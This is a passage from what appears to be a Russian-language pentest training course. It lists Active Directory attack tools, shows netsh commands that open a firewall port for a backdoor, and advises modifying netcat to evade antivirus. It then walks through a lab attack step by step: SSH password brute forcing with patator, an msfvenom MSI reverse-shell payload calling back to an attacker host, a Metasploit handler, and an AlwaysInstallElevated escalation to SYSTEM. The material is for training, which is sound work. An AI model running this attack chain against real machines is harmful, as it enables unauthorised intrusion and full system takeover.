- [Эксплуатация](https://posts.specterops.io/certified-pre-owned-d95910965cd2) уязвимостей в AD CS
- [Microsoft Windows Technical Documents](https://docs.microsoft.com/en-us/openspecs/windows_protocols/MS-WINPROTLP/e36c976a-6263-42a8-b119-7a3cc41ddd2a)
- [Active Directory Security](https://adsecurity.org/)
- [https://blog.harmj0y.net/](https://blog.harmj0y.net/)
- [hackndo](https://en.hackndo.com/)
- [https://dirkjanm.io/](https://dirkjanm.io/)
- [Steve on Security](https://syfuhs.net/)
- [Lab of a Penetration Tester](https://www.labofapenetrationtester.com/)
- [ired.team](https://www.ired.team/)

Помимо блогов, предлагаем вам подборку отличных инструментов, ориентированных на Active Directory, которые не только полезны, но и могут позволить вам изучить множество механизмов и протоколов Active Directory.

- [mimikatz](https://github.com/gentilkiwi/mimikatz): вероятно, самый известный инструмент для атаки на Windows и Active Directory. Он реализует на C [все виды атак](https://github.com/gentilkiwi/mimikatz/wiki) для получения учетных данных с компьютеров Windows и выдачи себя за пользователей в Active Directory.
- [impacket](https://github.com/SecureAuthCorp/impacket): Impacket реализует многие из протоколов на python. Он также включает в себя множество примеров, реализующих атаки.
- [responder.py](https://github.com/lgandx/Responder): Responder позволяет вам выполнять множество PitM-атак, злоупотребляя протоколами разрешения Windows и, предоставляя вам множество серверов протоколов, которые будут собирать NTLM-хэши.
- [Rubeus](https://github.com/GhostPack/Rubeus): Rubeus – это пакет C# для выполнения атак Kerberos с компьютеров под управлением Windows.
- [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec): CME – это инструмент на python, который позволяет вам простым способом выполнять множество различных атак.
- [BloodHound](https://github.com/BloodHoundAD/BloodHound): BloodHound позволяет вам сопоставлять сеть Active Directory с множеством различных запросов LDAP и другими.
- [Powerview](https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/situational_awareness/network/powerview.ps1): инструмент Powershell, который реализует множество LDAP-запросов Active Directory и других протоколов для извлечения [всех видов информации](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) из Active Directory.
- [Empire](https://github.com/BC-SECURITY/Empire): набор для развертывания агентов на компьютерах Active Directory, который позволяет выполнять [все виды атак](https://bc-security.gitbook.io/empire-wiki/). Содержит множество инструментов для разведки и атак через Active Directory.

**Обход блокировки открытия портов на Windows машинах.**

(некоторые версии) Стандартный фаер блокирует приложения, которые пытаются открыть прослушивание входящих соединений. Имея системный доступ, нужно перед запуском приложения определить, включен или нет фаер, чтобы не было лишних сообщений. Netsh - виндовое приложение для консольного управления фаером.

```
Netsh firewall show opmode
Конфигурация профиля Domain (текущая):
-------------------------------------------------------------------
Рабочий режим                     = Enable
Режим исключения                  = Enable

Конфигурация профиля Обычный:...
```

Если режим исключений (Exception mode) включен, то можно продолжать процедуру. Включение режима поддержки исключений:

```
Netsh firewall set opmode mode = enable exceptions = enable profile = all
```

Добавляем исключение

```
netsh firewall add portopening TCP 1234 “Windows Firewall Reporting Agent” enable all
```

Проверка правил после добавления

```
netsh firewall show port opening
```

**Обход блокировки антивирусом (некоторые приложения)**

В случае netcat для создания бэкдора желательно изменить netcat. Существует два пути изменения бинарника: корректировка исходника с последующей компиляцией и поиск в дебаггере сигнатуры и корректировка сигнатуры.

# Практика первичного доступа

Архив [Windows7.v2.7z](https://stepik-files.cyber-ed.space/WhiteHat/Windows7.v2.7z) (зеркала: [Яндекс.Диск](https://disk.yandex.ru/d/9alOwiQ2NFmizw) и [OneDrive](https://cybered-my.sharepoint.com/:u:/g/personal/v_karmanov_cyber-ed_ru/EeBdtCWETQNPpUNMzaNpuA4BGImgmKz8LcQ4FThTXmz1oQ?e=C5tkwb)), импортировать ВМ двойным нажатием на файл Windows7.vbox

Пользователь Alex пароль HappyHacking для инициализации сети ОС. Далее настроить сетевое размещение:

- Домашняя сеть
- Сеть предприятия
- Общественная сеть

Нужно выбрать *Общественная сеть*.

Найти флаг (секретную строку в формате 26 букв и цифр) из файла root.txt, расположенного в папке рабочего стола пользователя Kevin.

# Практика повышения привилегий

Архив: [Win10.rar](https://stepik-files.cyber-ed.space/WhiteHat/Win10.rar) (зеркала: [Яндекс.Диск](https://disk.yandex.ru/d/5t8DvakEysTYKw) и [OneDrive](https://cybered-my.sharepoint.com/:u:/g/personal/v_karmanov_cyber-ed_ru/EbQPmfhh8jhJvsp3pTTALwIB2u0uicQik6J_neSrolGREA?e=FyPdDD)). Импортировать ВМ двойным нажатием на файл Win10.vbox.

Для инициализации сети необходимо войти в нее под специальным аккаунтом: Логин: helpdesk Пароль: Qwerty123

**Последовательность действий**

Есть доступ, задача — поднять привилегии до максимальных и собрать данные.

1\. Просканируем Windows-систему на открытые порты с помощью nmap:

```
$ nmap -Pn -n -F -sV --open 10.8.0.14
```

2\. Для первичного доступа попробуем перебрать пароли ssh с помощью patator. Patator позволяет установить соединение с сервером и перебирать пароли, используя словари паролей или списки паролей, которые можно настроить для каждого протокола. Возможно настроить параметры задержки между попытками аутентификации. Проведем перебор SSH-паролей для пользователя john, при этом отфильтруем все сообщения, включающие в себя строку “Authentication failed”.

```
$ patator ssh_login host=10.8.0.14 user=john password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'
```

Путем перебора получаем верный пароль: loveme1

3\. Подключимся к Windows-машине по ssh:

```
$ ssh john@10.8.0.14
john@WIN10> whoami
john@WIN10> dir
```

4\. Для автоматического поиска вектора для повышения привилегий используем утилиту WinPEAS:

[https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)

WinPEAS автоматически определяет наличие открытых портов, установленные программы и службы, запланированные задачи, наличие уязвимых файловых разрешений, настройки UAC (User Account Control) и другие уязвимости привилегий в операционной системе.

Использование WinPEAS может значительно упростить процесс поиска уязвимостей привилегий и повысить эффективность и скорость анализа безопасности системы. Скачаем актуальную версию WinPEAS под 64-разрядные ОС на локальную машину:

```
$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230413-7f846812/winPEASx64.exe
```

5\. Передадим файл на удаленную машину по SSH с помощью scp и запустим файл:

```
$ scp winPEASx64.exe john@10.8.0.14:C:\\Users\\John\\
john@WIN10> winPEASx64.exe
```

6\. Рассмотрим вывод утилиты: наибольшее внимание стоит обращать на выделенное красным. Последовательно просматривая возможные вектора, обратим внимание на AlwaysInstallElevated. Это политика, позволяющая устанавливать любые msi-пакеты с повышенными правами. Это значит, что, если мы сгенерируем полезную нагрузку в этом формате, то при её запуске она будет работать от имени NT AUTHORITY\\SYSTEM, что дает нам полные привилегии на этой машине.

7\. Сгенерируем полезную нагрузку в формате msi с помощью msfvenom, полезной нагрузкой будет обратное shell-соединение на нашу машину:

```
$ msfvenom --platform windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.8.0.28 LPORT=4444 -f msi -o tmp/rev.msi
```

8\. Отправим полезную нагрузку на удаленную машину с помощью SCP:

```
$ scp tmp/rev.msi john@10.8.0.14:C:\\Users\\John\\
```

9\. Подготовим хэндлер для получения shell-соединения с помощью msf. Используем метаэксплойт exploit/multi/handler, для принятия соединений от полезных нагрузок в случае, если их запуск идет независимо от применения RCE-эксплойтов самого msf. Укажем выбранный payload и адрес, на котором он будет ожидать подключения:

```
$ msfconsole
msf6> use exploit/multi/handler
msf6> options
msf6> set PAYLOAD windows/x64/shell_reverse_tcp
msf6> set LHOST 10.8.0.28
msf6> exploit
```

10\. Проверим, что удаленная система доступна по RDP:

```
$ nmap -Pn -n -p 3389 -sV --open 10.8.0.14
```

11\. Подключимся к удаленной системе по RDP, используя xfreerdp – свободный RDP-клиент с консольным интерфейсом, укажем пользователя, пароль, хост и удобную нам ширину экрана:

```
$ xfreerdp /u:john /p:loveme1 /w:768 /v:10.8.0.14
```

12\. Запускаем инсталлятор. Однако простым запуском не получается, нужно через консоль

```
msiexec /quiet /qn /i C:/one.msi
```

13\. После получения соединения в msf выполним базовую разведку и убедимся, что обладаем максимальными правами, после чего прочтем флаг:

```
> whoami
> cd C:\Users\michael\Desktop
> type root.txt
```